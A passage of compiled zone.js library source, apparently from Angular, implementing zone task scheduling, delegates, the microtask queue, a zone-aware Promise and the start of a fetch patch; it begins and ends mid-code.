Zone.prototype.scheduleTask = function (task) {\n if (task.zone && task.zone !== this) {\n // check if the task was rescheduled, the newZone\n // should not be the children of the original zone\n var newZone = this;\n while (newZone) {\n if (newZone === task.zone) {\n throw Error(\"can not reschedule task to \" + this.name + \" which is descendants of the original zone \" + task.zone.name);\n }\n newZone = newZone.parent;\n }\n }\n task._transitionTo(scheduling, notScheduled);\n var zoneDelegates = [];\n task._zoneDelegates = zoneDelegates;\n task._zone = this;\n try {\n task = this._zoneDelegate.scheduleTask(this, task);\n }\n catch (err) {\n // should set task's state to unknown when scheduleTask throw error\n // because the err may from reschedule, so the fromState maybe notScheduled\n task._transitionTo(unknown, scheduling, notScheduled);\n // TODO: @JiaLiPassion, should we check the result from handleError?\n this._zoneDelegate.handleError(this, err);\n throw err;\n }\n if (task._zoneDelegates === zoneDelegates) {\n // we have to check because internally the delegate can reschedule the task.\n this._updateTaskCount(task, 1);\n }\n if (task.state == scheduling) {\n task._transitionTo(scheduled, scheduling);\n }\n return task;\n };\n Zone.prototype.scheduleMicroTask = function (source, callback, data, customSchedule) {\n return this.scheduleTask(new ZoneTask(microTask, source, callback, data, customSchedule, undefined));\n };\n Zone.prototype.scheduleMacroTask = function (source, callback, data, customSchedule, customCancel) {\n return this.scheduleTask(new ZoneTask(macroTask, source, callback, data, customSchedule, customCancel));\n };\n Zone.prototype.scheduleEventTask = function (source, callback, data, customSchedule, customCancel) {\n return this.scheduleTask(new ZoneTask(eventTask, source, callback, data, customSchedule, customCancel));\n };\n Zone.prototype.cancelTask = function (task) {\n if (task.zone != this)\n throw new Error('A task can only be cancelled in the zone of creation! (Creation: ' +\n (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')');\n task._transitionTo(canceling, scheduled, running);\n try {\n this._zoneDelegate.cancelTask(this, task);\n }\n catch (err) {\n // if error occurs when cancelTask, transit the state to unknown\n task._transitionTo(unknown, canceling);\n this._zoneDelegate.handleError(this, err);\n throw err;\n }\n this._updateTaskCount(task, -1);\n task._transitionTo(notScheduled, canceling);\n task.runCount = 0;\n return task;\n };\n Zone.prototype._updateTaskCount = function (task, count) {\n var zoneDelegates = task._zoneDelegates;\n if (count == -1) {\n task._zoneDelegates = null;\n }\n for (var i = 0; i < zoneDelegates.length; i++) {\n zoneDelegates[i]._updateTaskCount(task.type, count);\n }\n };\n Zone.__symbol__ = __symbol__;\n return Zone;\n }());\n var DELEGATE_ZS = {\n name: '',\n onHasTask: function (delegate, _, target, hasTaskState) { return delegate.hasTask(target, hasTaskState); },\n onScheduleTask: function (delegate, _, target, task) {\n return delegate.scheduleTask(target, task);\n },\n onInvokeTask: function (delegate, _, target, task, applyThis, applyArgs) {\n return delegate.invokeTask(target, task, applyThis, applyArgs);\n },\n onCancelTask: function (delegate, _, target, task) { return delegate.cancelTask(target, task); }\n };\n var ZoneDelegate = /** @class */ (function () {\n function ZoneDelegate(zone, parentDelegate, zoneSpec) {\n this._taskCounts = { 'microTask': 0, 'macroTask': 0, 'eventTask': 0 };\n this.zone = zone;\n this._parentDelegate = parentDelegate;\n this._forkZS = zoneSpec && (zoneSpec && zoneSpec.onFork ? zoneSpec : parentDelegate._forkZS);\n this._forkDlgt = zoneSpec && (zoneSpec.onFork ? parentDelegate : parentDelegate._forkDlgt);\n this._forkCurrZone = zoneSpec && (zoneSpec.onFork ? this.zone : parentDelegate.zone);\n this._interceptZS =\n zoneSpec && (zoneSpec.onIntercept ? zoneSpec : parentDelegate._interceptZS);\n this._interceptDlgt =\n zoneSpec && (zoneSpec.onIntercept ? parentDelegate : parentDelegate._interceptDlgt);\n this._interceptCurrZone =\n zoneSpec && (zoneSpec.onIntercept ? this.zone : parentDelegate.zone);\n this._invokeZS = zoneSpec && (zoneSpec.onInvoke ? zoneSpec : parentDelegate._invokeZS);\n this._invokeDlgt =\n zoneSpec && (zoneSpec.onInvoke ? parentDelegate : parentDelegate._invokeDlgt);\n this._invokeCurrZone = zoneSpec && (zoneSpec.onInvoke ? this.zone : parentDelegate.zone);\n this._handleErrorZS =\n zoneSpec && (zoneSpec.onHandleError ? zoneSpec : parentDelegate._handleErrorZS);\n this._handleErrorDlgt =\n zoneSpec && (zoneSpec.onHandleError ? parentDelegate : parentDelegate._handleErrorDlgt);\n this._handleErrorCurrZone =\n zoneSpec && (zoneSpec.onHandleError ? this.zone : parentDelegate.zone);\n this._scheduleTaskZS =\n zoneSpec && (zoneSpec.onScheduleTask ? zoneSpec : parentDelegate._scheduleTaskZS);\n this._scheduleTaskDlgt = zoneSpec &&\n (zoneSpec.onScheduleTask ? parentDelegate : parentDelegate._scheduleTaskDlgt);\n this._scheduleTaskCurrZone =\n zoneSpec && (zoneSpec.onScheduleTask ? this.zone : parentDelegate.zone);\n this._invokeTaskZS =\n zoneSpec && (zoneSpec.onInvokeTask ? zoneSpec : parentDelegate._invokeTaskZS);\n this._invokeTaskDlgt =\n zoneSpec && (zoneSpec.onInvokeTask ? parentDelegate : parentDelegate._invokeTaskDlgt);\n this._invokeTaskCurrZone =\n zoneSpec && (zoneSpec.onInvokeTask ? this.zone : parentDelegate.zone);\n this._cancelTaskZS =\n zoneSpec && (zoneSpec.onCancelTask ? zoneSpec : parentDelegate._cancelTaskZS);\n this._cancelTaskDlgt =\n zoneSpec && (zoneSpec.onCancelTask ? parentDelegate : parentDelegate._cancelTaskDlgt);\n this._cancelTaskCurrZone =\n zoneSpec && (zoneSpec.onCancelTask ? this.zone : parentDelegate.zone);\n this._hasTaskZS = null;\n this._hasTaskDlgt = null;\n this._hasTaskDlgtOwner = null;\n this._hasTaskCurrZone = null;\n var zoneSpecHasTask = zoneSpec && zoneSpec.onHasTask;\n var parentHasTask = parentDelegate && parentDelegate._hasTaskZS;\n if (zoneSpecHasTask || parentHasTask) {\n // If we need to report hasTask, than this ZS needs to do ref counting on tasks. In such\n // a case all task related interceptors must go through this ZD. We can't short circuit it.\n this._hasTaskZS = zoneSpecHasTask ? zoneSpec : DELEGATE_ZS;\n this._hasTaskDlgt = parentDelegate;\n this._hasTaskDlgtOwner = this;\n this._hasTaskCurrZone = zone;\n if (!zoneSpec.onScheduleTask) {\n this._scheduleTaskZS = DELEGATE_ZS;\n this._scheduleTaskDlgt = parentDelegate;\n this._scheduleTaskCurrZone = this.zone;\n }\n if (!zoneSpec.onInvokeTask) {\n this._invokeTaskZS = DELEGATE_ZS;\n this._invokeTaskDlgt = parentDelegate;\n this._invokeTaskCurrZone = this.zone;\n }\n if (!zoneSpec.onCancelTask) {\n this._cancelTaskZS = DELEGATE_ZS;\n this._cancelTaskDlgt = parentDelegate;\n this._cancelTaskCurrZone = this.zone;\n }\n }\n }\n ZoneDelegate.prototype.fork = function (targetZone, zoneSpec) {\n return this._forkZS ? this._forkZS.onFork(this._forkDlgt, this.zone, targetZone, zoneSpec) :\n new Zone(targetZone, zoneSpec);\n };\n ZoneDelegate.prototype.intercept = function (targetZone, callback, source) {\n return this._interceptZS ?\n this._interceptZS.onIntercept(this._interceptDlgt, this._interceptCurrZone, targetZone, callback, source) :\n callback;\n };\n ZoneDelegate.prototype.invoke = function (targetZone, callback, applyThis, applyArgs, source) {\n return this._invokeZS ? this._invokeZS.onInvoke(this._invokeDlgt, this._invokeCurrZone, targetZone, callback, applyThis, applyArgs, source) :\n callback.apply(applyThis, applyArgs);\n };\n ZoneDelegate.prototype.handleError = function (targetZone, error) {\n return this._handleErrorZS ?\n this._handleErrorZS.onHandleError(this._handleErrorDlgt, this._handleErrorCurrZone, targetZone, error) :\n true;\n };\n ZoneDelegate.prototype.scheduleTask = function (targetZone, task) {\n var returnTask = task;\n if (this._scheduleTaskZS) {\n if (this._hasTaskZS) {\n returnTask._zoneDelegates.push(this._hasTaskDlgtOwner);\n }\n returnTask = this._scheduleTaskZS.onScheduleTask(this._scheduleTaskDlgt, this._scheduleTaskCurrZone, targetZone, task);\n if (!returnTask)\n returnTask = task;\n }\n else {\n if (task.scheduleFn) {\n task.scheduleFn(task);\n }\n else if (task.type == microTask) {\n scheduleMicroTask(task);\n }\n else {\n throw new Error('Task is missing scheduleFn.');\n }\n }\n return returnTask;\n };\n ZoneDelegate.prototype.invokeTask = function (targetZone, task, applyThis, applyArgs) {\n return this._invokeTaskZS ? this._invokeTaskZS.onInvokeTask(this._invokeTaskDlgt, this._invokeTaskCurrZone, targetZone, task, applyThis, applyArgs) :\n task.callback.apply(applyThis, applyArgs);\n };\n ZoneDelegate.prototype.cancelTask = function (targetZone, task) {\n var value;\n if (this._cancelTaskZS) {\n value = this._cancelTaskZS.onCancelTask(this._cancelTaskDlgt, this._cancelTaskCurrZone, targetZone, task);\n }\n else {\n if (!task.cancelFn) {\n throw Error('Task is not cancelable');\n }\n value = task.cancelFn(task);\n }\n return value;\n };\n ZoneDelegate.prototype.hasTask = function (targetZone, isEmpty) {\n // hasTask should not throw error so other ZoneDelegate\n // can still trigger hasTask callback\n try {\n this._hasTaskZS &&\n this._hasTaskZS.onHasTask(this._hasTaskDlgt, this._hasTaskCurrZone, targetZone, isEmpty);\n }\n catch (err) {\n this.handleError(targetZone, err);\n }\n };\n ZoneDelegate.prototype._updateTaskCount = function (type, count) {\n var counts = this._taskCounts;\n var prev = counts[type];\n var next = counts[type] = prev + count;\n if (next < 0) {\n throw new Error('More tasks executed then were scheduled.');\n }\n if (prev == 0 || next == 0) {\n var isEmpty = {\n microTask: counts['microTask'] > 0,\n macroTask: counts['macroTask'] > 0,\n eventTask: counts['eventTask'] > 0,\n change: type\n };\n this.hasTask(this.zone, isEmpty);\n }\n };\n return ZoneDelegate;\n }());\n var ZoneTask = /** @class */ (function () {\n function ZoneTask(type, source, callback, options, scheduleFn, cancelFn) {\n this._zone = null;\n this.runCount = 0;\n this._zoneDelegates = null;\n this._state = 'notScheduled';\n this.type = type;\n this.source = source;\n this.data = options;\n this.scheduleFn = scheduleFn;\n this.cancelFn = cancelFn;\n this.callback = callback;\n var self = this;\n // TODO: @JiaLiPassion options should have interface\n if (type === eventTask && options && options.useG) {\n this.invoke = ZoneTask.invokeTask;\n }\n else {\n this.invoke = function () {\n return ZoneTask.invokeTask.call(global, self, this, arguments);\n };\n }\n }\n ZoneTask.invokeTask = function (task, target, args) {\n if (!task) {\n task = this;\n }\n _numberOfNestedTaskFrames++;\n try {\n task.runCount++;\n return task.zone.runTask(task, target, args);\n }\n finally {\n if (_numberOfNestedTaskFrames == 1) {\n drainMicroTaskQueue();\n }\n _numberOfNestedTaskFrames--;\n }\n };\n Object.defineProperty(ZoneTask.prototype, \"zone\", {\n get: function () {\n return this._zone;\n },\n enumerable: true,\n configurable: true\n });\n Object.defineProperty(ZoneTask.prototype, \"state\", {\n get: function () {\n return this._state;\n },\n enumerable: true,\n configurable: true\n });\n ZoneTask.prototype.cancelScheduleRequest = function () {\n this._transitionTo(notScheduled, scheduling);\n };\n ZoneTask.prototype._transitionTo = function (toState, fromState1, fromState2) {\n if (this._state === fromState1 || this._state === fromState2) {\n this._state = toState;\n if (toState == notScheduled) {\n this._zoneDelegates = null;\n }\n }\n else {\n throw new Error(this.type + \" '\" + this.source + \"': can not transition to '\" + toState + \"', expecting state '\" + fromState1 + \"'\" + (fromState2 ? ' or \\'' + fromState2 + '\\'' : '') + \", was '\" + this._state + \"'.\");\n }\n };\n ZoneTask.prototype.toString = function () {\n if (this.data && typeof this.data.handleId !== 'undefined') {\n return this.data.handleId.toString();\n }\n else {\n return Object.prototype.toString.call(this);\n }\n };\n // add toJSON method to prevent cyclic error when\n // call JSON.stringify(zoneTask)\n ZoneTask.prototype.toJSON = function () {\n return {\n type: this.type,\n state: this.state,\n source: this.source,\n zone: this.zone.name,\n runCount: this.runCount\n };\n };\n return ZoneTask;\n }());\n //////////////////////////////////////////////////////\n //////////////////////////////////////////////////////\n /// MICROTASK QUEUE\n //////////////////////////////////////////////////////\n //////////////////////////////////////////////////////\n var symbolSetTimeout = __symbol__('setTimeout');\n var symbolPromise = __symbol__('Promise');\n var symbolThen = __symbol__('then');\n var _microTaskQueue = [];\n var _isDrainingMicrotaskQueue = false;\n var nativeMicroTaskQueuePromise;\n function scheduleMicroTask(task) {\n // if we are not running in any task, and there has not been anything scheduled\n // we must bootstrap the initial task creation by manually scheduling the drain\n if (_numberOfNestedTaskFrames === 0 && _microTaskQueue.length === 0) {\n // We are not running in Task, so we need to kickstart the microtask queue.\n if (!nativeMicroTaskQueuePromise) {\n if (global[symbolPromise]) {\n nativeMicroTaskQueuePromise = global[symbolPromise].resolve(0);\n }\n }\n if (nativeMicroTaskQueuePromise) {\n var nativeThen = nativeMicroTaskQueuePromise[symbolThen];\n if (!nativeThen) {\n // native Promise is not patchable, we need to use `then` directly\n // issue 1078\n nativeThen = nativeMicroTaskQueuePromise['then'];\n }\n nativeThen.call(nativeMicroTaskQueuePromise, drainMicroTaskQueue);\n }\n else {\n global[symbolSetTimeout](drainMicroTaskQueue, 0);\n }\n }\n task && _microTaskQueue.push(task);\n }\n function drainMicroTaskQueue() {\n if (!_isDrainingMicrotaskQueue) {\n _isDrainingMicrotaskQueue = true;\n while (_microTaskQueue.length) {\n var queue = _microTaskQueue;\n _microTaskQueue = [];\n for (var i = 0; i < queue.length; i++) {\n var task = queue[i];\n try {\n task.zone.runTask(task, null, null);\n }\n catch (error) {\n _api.onUnhandledError(error);\n }\n }\n }\n _api.microtaskDrainDone();\n _isDrainingMicrotaskQueue = false;\n }\n }\n //////////////////////////////////////////////////////\n //////////////////////////////////////////////////////\n /// BOOTSTRAP\n //////////////////////////////////////////////////////\n //////////////////////////////////////////////////////\n var NO_ZONE = { name: 'NO ZONE' };\n var notScheduled = 'notScheduled', scheduling = 'scheduling', scheduled = 'scheduled', running = 'running', canceling = 'canceling', unknown = 'unknown';\n var microTask = 'microTask', macroTask = 'macroTask', eventTask = 'eventTask';\n var patches = {};\n var _api = {\n symbol: __symbol__,\n currentZoneFrame: function () { return _currentZoneFrame; },\n onUnhandledError: noop,\n microtaskDrainDone: noop,\n scheduleMicroTask: scheduleMicroTask,\n showUncaughtError: function () { return !Zone[__symbol__('ignoreConsoleErrorUncaughtError')]; },\n patchEventTarget: function () { return []; },\n patchOnProperties: noop,\n patchMethod: function () { return noop; },\n bindArguments: function () { return []; },\n patchThen: function () { return noop; },\n setNativePromise: function (NativePromise) {\n // sometimes NativePromise.resolve static function\n // is not ready yet, (such as core-js/es6.promise)\n // so we need to check here.\n if (NativePromise && typeof NativePromise.resolve === 'function') {\n nativeMicroTaskQueuePromise = NativePromise.resolve(0);\n }\n },\n };\n var _currentZoneFrame = { parent: null, zone: new Zone(null, null) };\n var _currentTask = null;\n var _numberOfNestedTaskFrames = 0;\n function noop() { }\n function __symbol__(name) {\n return '__zone_symbol__' + name;\n }\n performanceMeasure('Zone', 'Zone');\n return global['Zone'] = Zone;\n})(typeof window !== 'undefined' && window || typeof self !== 'undefined' && self || global);\n\nvar __values = (undefined && undefined.__values) || function (o) {\n var m = typeof Symbol === \"function\" && o[Symbol.iterator], i = 0;\n if (m) return m.call(o);\n return {\n next: function () {\n if (o && i >= o.length) o = void 0;\n return { value: o && o[i++], done: !o };\n }\n };\n};\nZone.__load_patch('ZoneAwarePromise', function (global, Zone, api) {\n var ObjectGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\n var ObjectDefineProperty = Object.defineProperty;\n function readableObjectToString(obj) {\n if (obj && obj.toString === Object.prototype.toString) {\n var className = obj.constructor && obj.constructor.name;\n return (className ? className : '') + ': ' + JSON.stringify(obj);\n }\n return obj ? obj.toString() : Object.prototype.toString.call(obj);\n }\n var __symbol__ = api.symbol;\n var _uncaughtPromiseErrors = [];\n var symbolPromise = __symbol__('Promise');\n var symbolThen = __symbol__('then');\n var creationTrace = '__creationTrace__';\n api.onUnhandledError = function (e) {\n if (api.showUncaughtError()) {\n var rejection = e && e.rejection;\n if (rejection) {\n console.error('Unhandled Promise rejection:', rejection instanceof Error ? rejection.message : rejection, '; Zone:', e.zone.name, '; Task:', e.task && e.task.source, '; Value:', rejection, rejection instanceof Error ? rejection.stack : undefined);\n }\n else {\n console.error(e);\n }\n }\n };\n api.microtaskDrainDone = function () {\n while (_uncaughtPromiseErrors.length) {\n var _loop_1 = function () {\n var uncaughtPromiseError = _uncaughtPromiseErrors.shift();\n try {\n uncaughtPromiseError.zone.runGuarded(function () {\n throw uncaughtPromiseError;\n });\n }\n catch (error) {\n handleUnhandledRejection(error);\n }\n };\n while (_uncaughtPromiseErrors.length) {\n _loop_1();\n }\n }\n };\n var UNHANDLED_PROMISE_REJECTION_HANDLER_SYMBOL = __symbol__('unhandledPromiseRejectionHandler');\n function handleUnhandledRejection(e) {\n api.onUnhandledError(e);\n try {\n var handler = Zone[UNHANDLED_PROMISE_REJECTION_HANDLER_SYMBOL];\n if (handler && typeof handler === 'function') {\n handler.call(this, e);\n }\n }\n catch (err) {\n }\n }\n function isThenable(value) {\n return value && value.then;\n }\n function forwardResolution(value) {\n return value;\n }\n function forwardRejection(rejection) {\n return ZoneAwarePromise.reject(rejection);\n }\n var symbolState = __symbol__('state');\n var symbolValue = __symbol__('value');\n var symbolFinally = __symbol__('finally');\n var symbolParentPromiseValue = __symbol__('parentPromiseValue');\n var symbolParentPromiseState = __symbol__('parentPromiseState');\n var source = 'Promise.then';\n var UNRESOLVED = null;\n var RESOLVED = true;\n var REJECTED = false;\n var REJECTED_NO_CATCH = 0;\n function makeResolver(promise, state) {\n return function (v) {\n try {\n resolvePromise(promise, state, v);\n }\n catch (err) {\n resolvePromise(promise, false, err);\n }\n // Do not return value or you will break the Promise spec.\n };\n }\n var once = function () {\n var wasCalled = false;\n return function wrapper(wrappedFunction) {\n return function () {\n if (wasCalled) {\n return;\n }\n wasCalled = true;\n wrappedFunction.apply(null, arguments);\n };\n };\n };\n var TYPE_ERROR = 'Promise resolved with itself';\n var CURRENT_TASK_TRACE_SYMBOL = __symbol__('currentTaskTrace');\n // Promise Resolution\n function resolvePromise(promise, state, value) {\n var onceWrapper = once();\n if (promise === value) {\n throw new TypeError(TYPE_ERROR);\n }\n if (promise[symbolState] === UNRESOLVED) {\n // should only get value.then once based on promise spec.\n var then = null;\n try {\n if (typeof value === 'object' || typeof value === 'function') {\n then = value && value.then;\n }\n }\n catch (err) {\n onceWrapper(function () {\n resolvePromise(promise, false, err);\n })();\n return promise;\n }\n // if (value instanceof ZoneAwarePromise) {\n if (state !== REJECTED && value instanceof ZoneAwarePromise &&\n value.hasOwnProperty(symbolState) && value.hasOwnProperty(symbolValue) &&\n value[symbolState] !== UNRESOLVED) {\n clearRejectedNoCatch(value);\n resolvePromise(promise, value[symbolState], value[symbolValue]);\n }\n else if (state !== REJECTED && typeof then === 'function') {\n try {\n then.call(value, onceWrapper(makeResolver(promise, state)), onceWrapper(makeResolver(promise, false)));\n }\n catch (err) {\n onceWrapper(function () {\n resolvePromise(promise, false, err);\n })();\n }\n }\n else {\n promise[symbolState] = state;\n var queue = promise[symbolValue];\n promise[symbolValue] = value;\n if (promise[symbolFinally] === symbolFinally) {\n // the promise is generated by Promise.prototype.finally\n if (state === RESOLVED) {\n // the state is resolved, should ignore the value\n // and use parent promise value\n promise[symbolState] = promise[symbolParentPromiseState];\n promise[symbolValue] = promise[symbolParentPromiseValue];\n }\n }\n // record task information in value when error occurs, so we can\n // do some additional work such as render longStackTrace\n if (state === REJECTED && value instanceof Error) {\n // check if longStackTraceZone is here\n var trace = Zone.currentTask && Zone.currentTask.data &&\n Zone.currentTask.data[creationTrace];\n if (trace) {\n // only keep the long stack trace into error when in longStackTraceZone\n ObjectDefineProperty(value, CURRENT_TASK_TRACE_SYMBOL, { configurable: true, enumerable: false, writable: true, value: trace });\n }\n }\n for (var i = 0; i < queue.length;) {\n scheduleResolveOrReject(promise, queue[i++], queue[i++], queue[i++], queue[i++]);\n }\n if (queue.length == 0 && state == REJECTED) {\n promise[symbolState] = REJECTED_NO_CATCH;\n try {\n // try to print more readable error log\n throw new Error('Uncaught (in promise): ' + readableObjectToString(value) +\n (value && value.stack ? '\\n' + value.stack : ''));\n }\n catch (err) {\n var error_1 = err;\n error_1.rejection = value;\n error_1.promise = promise;\n error_1.zone = Zone.current;\n error_1.task = Zone.currentTask;\n _uncaughtPromiseErrors.push(error_1);\n api.scheduleMicroTask(); // to make sure that it is running\n }\n }\n }\n }\n // Resolving an already resolved promise is a noop.\n return promise;\n }\n var REJECTION_HANDLED_HANDLER = __symbol__('rejectionHandledHandler');\n function clearRejectedNoCatch(promise) {\n if (promise[symbolState] === REJECTED_NO_CATCH) {\n // if the promise is rejected no catch status\n // and queue.length > 0, means there is a error handler\n // here to handle the rejected promise, we should trigger\n // windows.rejectionhandled eventHandler or nodejs rejectionHandled\n // eventHandler\n try {\n var handler = Zone[REJECTION_HANDLED_HANDLER];\n if (handler && typeof handler === 'function') {\n handler.call(this, { rejection: promise[symbolValue], promise: promise });\n }\n }\n catch (err) {\n }\n promise[symbolState] = REJECTED;\n for (var i = 0; i < _uncaughtPromiseErrors.length; i++) {\n if (promise === _uncaughtPromiseErrors[i].promise) {\n _uncaughtPromiseErrors.splice(i, 1);\n }\n }\n }\n }\n function scheduleResolveOrReject(promise, zone, chainPromise, onFulfilled, onRejected) {\n clearRejectedNoCatch(promise);\n var promiseState = promise[symbolState];\n var delegate = promiseState ?\n (typeof onFulfilled === 'function') ? onFulfilled : forwardResolution :\n (typeof onRejected === 'function') ? onRejected : forwardRejection;\n zone.scheduleMicroTask(source, function () {\n try {\n var parentPromiseValue = promise[symbolValue];\n var isFinallyPromise = chainPromise && symbolFinally === chainPromise[symbolFinally];\n if (isFinallyPromise) {\n // if the promise is generated from finally call, keep parent promise's state and value\n chainPromise[symbolParentPromiseValue] = parentPromiseValue;\n chainPromise[symbolParentPromiseState] = promiseState;\n }\n // should not pass value to finally callback\n var value = zone.run(delegate, undefined, isFinallyPromise && delegate !== forwardRejection && delegate !== forwardResolution ?\n [] :\n [parentPromiseValue]);\n resolvePromise(chainPromise, true, value);\n }\n catch (error) {\n // if error occurs, should always return this error\n resolvePromise(chainPromise, false, error);\n }\n }, chainPromise);\n }\n var ZONE_AWARE_PROMISE_TO_STRING = 'function ZoneAwarePromise() { [native code] }';\n var ZoneAwarePromise = /** @class */ (function () {\n function ZoneAwarePromise(executor) {\n var promise = this;\n if (!(promise instanceof ZoneAwarePromise)) {\n throw new Error('Must be an instanceof Promise.');\n }\n promise[symbolState] = UNRESOLVED;\n promise[symbolValue] = []; // queue;\n try {\n executor && executor(makeResolver(promise, RESOLVED), makeResolver(promise, REJECTED));\n }\n catch (error) {\n resolvePromise(promise, false, error);\n }\n }\n ZoneAwarePromise.toString = function () {\n return ZONE_AWARE_PROMISE_TO_STRING;\n };\n ZoneAwarePromise.resolve = function (value) {\n return resolvePromise(new this(null), RESOLVED, value);\n };\n ZoneAwarePromise.reject = function (error) {\n return resolvePromise(new this(null), REJECTED, error);\n };\n ZoneAwarePromise.race = function (values) {\n var e_1, _a;\n var resolve;\n var reject;\n var promise = new this(function (res, rej) {\n resolve = res;\n reject = rej;\n });\n function onResolve(value) {\n promise && (promise = null || resolve(value));\n }\n function onReject(error) {\n promise && (promise = null || reject(error));\n }\n try {\n for (var values_1 = __values(values), values_1_1 = values_1.next(); !values_1_1.done; values_1_1 = values_1.next()) {\n var value = values_1_1.value;\n if (!isThenable(value)) {\n value = this.resolve(value);\n }\n value.then(onResolve, onReject);\n }\n }\n catch (e_1_1) { e_1 = { error: e_1_1 }; }\n finally {\n try {\n if (values_1_1 && !values_1_1.done && (_a = values_1.return)) _a.call(values_1);\n }\n finally { if (e_1) throw e_1.error; }\n }\n return promise;\n };\n ZoneAwarePromise.all = function (values) {\n var e_2, _a;\n var resolve;\n var reject;\n var promise = new this(function (res, rej) {\n resolve = res;\n reject = rej;\n });\n // Start at 2 to prevent prematurely resolving if .then is called immediately.\n var unresolvedCount = 2;\n var valueIndex = 0;\n var resolvedValues = [];\n var _loop_2 = function (value) {\n if (!isThenable(value)) {\n value = this_1.resolve(value);\n }\n var curValueIndex = valueIndex;\n value.then(function (value) {\n resolvedValues[curValueIndex] = value;\n unresolvedCount--;\n if (unresolvedCount === 0) {\n resolve(resolvedValues);\n }\n }, reject);\n unresolvedCount++;\n valueIndex++;\n };\n var this_1 = this;\n try {\n for (var values_2 = __values(values), values_2_1 = values_2.next(); !values_2_1.done; values_2_1 = values_2.next()) {\n var value = values_2_1.value;\n _loop_2(value);\n }\n }\n catch (e_2_1) { e_2 = { error: e_2_1 }; }\n finally {\n try {\n if (values_2_1 && !values_2_1.done && (_a = values_2.return)) _a.call(values_2);\n }\n finally { if (e_2) throw e_2.error; }\n }\n // Make the unresolvedCount zero-based again.\n unresolvedCount -= 2;\n if (unresolvedCount === 0) {\n resolve(resolvedValues);\n }\n return promise;\n };\n ZoneAwarePromise.prototype.then = function (onFulfilled, onRejected) {\n var chainPromise = new this.constructor(null);\n var zone = Zone.current;\n if (this[symbolState] == UNRESOLVED) {\n this[symbolValue].push(zone, chainPromise, onFulfilled, onRejected);\n }\n else {\n scheduleResolveOrReject(this, zone, chainPromise, onFulfilled, onRejected);\n }\n return chainPromise;\n };\n ZoneAwarePromise.prototype.catch = function (onRejected) {\n return this.then(null, onRejected);\n };\n ZoneAwarePromise.prototype.finally = function (onFinally) {\n var chainPromise = new this.constructor(null);\n chainPromise[symbolFinally] = symbolFinally;\n var zone = Zone.current;\n if (this[symbolState] == UNRESOLVED) {\n this[symbolValue].push(zone, chainPromise, onFinally, onFinally);\n }\n else {\n scheduleResolveOrReject(this, zone, chainPromise, onFinally, onFinally);\n }\n return chainPromise;\n };\n return ZoneAwarePromise;\n }());\n // Protect against aggressive optimizers dropping seemingly unused properties.\n // E.g. Closure Compiler in advanced mode.\n ZoneAwarePromise['resolve'] = ZoneAwarePromise.resolve;\n ZoneAwarePromise['reject'] = ZoneAwarePromise.reject;\n ZoneAwarePromise['race'] = ZoneAwarePromise.race;\n ZoneAwarePromise['all'] = ZoneAwarePromise.all;\n var NativePromise = global[symbolPromise] = global['Promise'];\n var ZONE_AWARE_PROMISE = Zone.__symbol__('ZoneAwarePromise');\n var desc = ObjectGetOwnPropertyDescriptor(global, 'Promise');\n if (!desc || desc.configurable) {\n desc && delete desc.writable;\n desc && delete desc.value;\n if (!desc) {\n desc = { configurable: true, enumerable: true };\n }\n desc.get = function () {\n // if we already set ZoneAwarePromise, use patched one\n // otherwise return native one.\n return global[ZONE_AWARE_PROMISE] ? global[ZONE_AWARE_PROMISE] : global[symbolPromise];\n };\n desc.set = function (NewNativePromise) {\n if (NewNativePromise === ZoneAwarePromise) {\n // if the NewNativePromise is ZoneAwarePromise\n // save to global\n global[ZONE_AWARE_PROMISE] = NewNativePromise;\n }\n else {\n // if the NewNativePromise is not ZoneAwarePromise\n // for example: after load zone.js, some library just\n // set es6-promise to global, if we set it to global\n // directly, assertZonePatched will fail and angular\n // will not loaded, so we just set the NewNativePromise\n // to global[symbolPromise], so the result is just like\n // we load ES6 Promise before zone.js\n global[symbolPromise] = NewNativePromise;\n if (!NewNativePromise.prototype[symbolThen]) {\n patchThen(NewNativePromise);\n }\n api.setNativePromise(NewNativePromise);\n }\n };\n ObjectDefineProperty(global, 'Promise', desc);\n }\n global['Promise'] = ZoneAwarePromise;\n var symbolThenPatched = __symbol__('thenPatched');\n function patchThen(Ctor) {\n var proto = Ctor.prototype;\n var prop = ObjectGetOwnPropertyDescriptor(proto, 'then');\n if (prop && (prop.writable === false || !prop.configurable)) {\n // check Ctor.prototype.then propertyDescriptor is writable or not\n // in meteor env, writable is false, we should ignore such case\n return;\n }\n var originalThen = proto.then;\n // Keep a reference to the original method.\n proto[symbolThen] = originalThen;\n Ctor.prototype.then = function (onResolve, onReject) {\n var _this = this;\n var wrapped = new ZoneAwarePromise(function (resolve, reject) {\n originalThen.call(_this, resolve, reject);\n });\n return wrapped.then(onResolve, onReject);\n };\n Ctor[symbolThenPatched] = true;\n }\n api.patchThen = patchThen;\n if (NativePromise) {\n patchThen(NativePromise);\n }\n // This is not part of public API, but it is useful for tests, so we expose it.\n Promise[Zone.__symbol__('uncaughtPromiseErrors')] = _uncaughtPromiseErrors;\n return ZoneAwarePromise;\n});\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\nZone.__load_patch('fetch', function (global, Zone, api) {\n var fetch = global['fetch'];\n var ZoneAwarePromise = global.Promise;\n var symbolThenPatched = api.symbol('thenPatched');\n var fetchTaskScheduling = api.symbol('fetchTaskScheduling');\n var fetchTaskAborting = api.symbol('fetchTaskAborting');\n if (typeof fetch !== 'function') {\n return;\n }\n var OriginalAbortController = global['AbortController'];\n var supportAbort = typeof OriginalAbortController === 'function';\n var abortNative = null;\n if (supportAbort) {\n global['AbortController'] = function () {\n var abortController = new OriginalAbortController();\n var signal = abortController.signal;\n signal.abortController = abortController;\n return abortController;\n };\n abortNative = api.patchMethod(OriginalAbortController.prototype, 'abort', function (delegate) { return function (self, args) {\n if (self.task) {\n return self.task.zone.cancelTask(self.task);\n }\n return delegate.apply(self, args);\n }; });\n }\n var placeholder = function () { };\n global['fetch'] = function () {\n var _this = this;\n var args = Array.prototype.slice.call(arguments);\n var options = args.length > 1 ? args[1] : null;\n var signal = options && options.signal;\n return new Promise(function (res, rej) {\n var task = Zone.current.scheduleMacroTask('fetch', placeholder, args, function () {\n var fetchPromise;\n var zone = Zone.current;\n try {\n zone[fetchTaskScheduling] = true;\n fetchPromise = fetch.apply(_this, args);\n }\n catch (error) {\n rej(error);\n return;\n }\n finally {\n zone[fetchTaskScheduling] = false;\n }\n if (!(fetchPromise instanceof ZoneAwarePromise)) {\n var 